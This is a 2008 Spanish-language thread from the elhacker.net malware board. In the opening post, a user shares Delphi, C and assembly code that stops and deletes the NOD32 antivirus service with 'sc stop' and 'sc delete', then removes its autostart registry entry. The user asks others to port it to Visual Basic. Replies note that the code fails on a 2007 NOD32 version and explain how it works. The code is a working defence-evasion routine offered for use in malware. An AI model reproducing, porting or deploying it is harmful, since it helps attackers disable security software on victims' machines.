elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
21 Mayo 2012, 14:12  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Codigo para detener al Antivirus Nod32
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Codigo para detener al Antivirus Nod32  (Leído 3,969 veces)
Zion_Tm

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Codigo para detener al Antivirus Nod32
« en: 15 Febrero 2008, 05:04 »

Buenas noches gentuza  ;D

Les traigo un codigo para detener y eliminar al Nod32 de un plumaso, pero esta en delphi, asm y C

Si alguien lo puede transcribir en viusal basic, os agradezco.

( no es mio, lo encontre en otro foro )


                     DELPHI Hecho por Kira
Código:
type
 HKEY = type LongWord;
 REGSAM = type longWord;
 DWORD = type longWord;
function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
 external 'kernel32.dll' name 'WinExec';
function RegOpenKeyEx(hKey: HKEY; lpSubKey: PChar;
 ulOptions: DWORD; samDesired: REGSAM; var phkResult: HKEY): Longint; stdcall;
 external 'advapi32.dll' name 'RegOpenKeyExA';

function RegDeleteValue(hKey: HKEY; lpValueName: PChar): Longint; stdcall;
 external 'advapi32.dll' name 'RegDeleteValueA';

function RegCloseKey(hKey: HKEY): Longint; stdcall;
 external 'advapi32.dll' name 'RegCloseKey';

const
 HKEY_LOCAL_MACHINE  = DWORD($80000002);
 KEY_SET_VALUE   = $0002;

var
 accion:string;
 Key : Hkey;

begin
  accion:='Cmd.exe /c sc stop NOD32krn';
  WinExec(pchar(accion),0);
  accion:='Cmd.exe /c sc delete NOD32krn ';
  WinExec(pchar(accion),0);

 RegOpenKeyEx(HKEY_LOCAL_MACHINE, pChar('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN'), 0, KEY_SET_VALUE, KEY);
 RegDeleteValue(Key, PCHAR('nod32kui'));
 RegCloseKey(Key);


                                  C Hecho por Pseudoroot

Código:
#include <windows.h>


int WINAPI WinMain (HINSTANCE hThisInstance,
          HINSTANCE hPrevInstance,
          LPSTR lpszArgument,
          int nFunsterStil)


{
          char* accion1="Cmd.exe /c sc stop NOD32krn";
          char* accion2="Cmd.exe /c sc delete NOD32krn";
         
            WinExec(accion1,0);
            Sleep(1000); // Le agregue un retardo para que efectue correcta la primera api.
            WinExec(accion2,0);
           
HKEY key;
  RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&key);
  RegDeleteValue(key,("nod32kui"));
  RegCloseKey(key);
  return 0;
}


                                            ASM

Código:
.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc
include advapi32.inc


includelib kernel32.lib
includelib advapi32.lib

.data

accion1 db 'Cmd.exe /c sc stop NOD32krn',0
accion2 db 'Cmd.exe /c sc delete NOD32krn',0
ruta   db 'SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',0
dato db 'nod32kui',0
   
.data?
 hkey    DWORD ?
.code
 mataNod:

 push 0
 push offset accion1
 call WinExec

 push 0
 push offset accion2
 call WinExec

 push offset hkey
 push KEY_SET_VALUE
 push 0
 push offset ruta
 push HKEY_LOCAL_MACHINE
 call RegOpenKeyEx

 
 push offset dato
 push hkey
 call RegDeleteValue

 push hkey
 call RegCloseKey   

 push 0
 call ExitProcess


Si alguien lo sabe pasar a VB, os agradezco.
En línea
Karman


Desconectado Desconectado

Mensajes: 657



Ver Perfil WWW
Re: Codigo para detener al Antivirus Nod32
« Respuesta #1 en: 15 Febrero 2008, 09:25 »

quien te dijo que eso funciona???

Código:
C:\Documents and Settings\Karman>cmd.exe /c sc stop NOD32krn
[SC] ControlService FAILED 1052:

El control requerido no es vßlido para este servicio.

si funciona debe ser con una versión vieja del nod32, va... la mía es del 2007 y aún así no puedo...

S2
En línea

Eternal Idol


Desconectado Desconectado

Mensajes: 4.378


Clarin miente, TN opera y los giles regurgitan.


Ver Perfil WWW
Re: Codigo para detener al Antivirus Nod32
« Respuesta #2 en: 15 Febrero 2008, 09:36 »

Lo que hace es lanzar dos procesos (para parar y borrar un servicio - sc solo esta disponible en XP y superiores -) y borrar un valor del registro para evitar que se ejecute al reiniciar un programa. Deberias poder traducir eso a VB si dominas ese lenguaje.

Si el servicio (por el nombre parece ser un modulo de modo Kernel) no implementa la funcion opcional de descarga entonces no lo vas a poder detener. En cuanto a borrarlo dependera de si tiene alguna proteccion propia o no ...
En línea



La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda con un codigo bat de auto exclucion para el nod32 v4 y 5
Dudas Generales
Morfo360 0 660 Último mensaje 10 Enero 2012, 05:25
por Morfo360
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines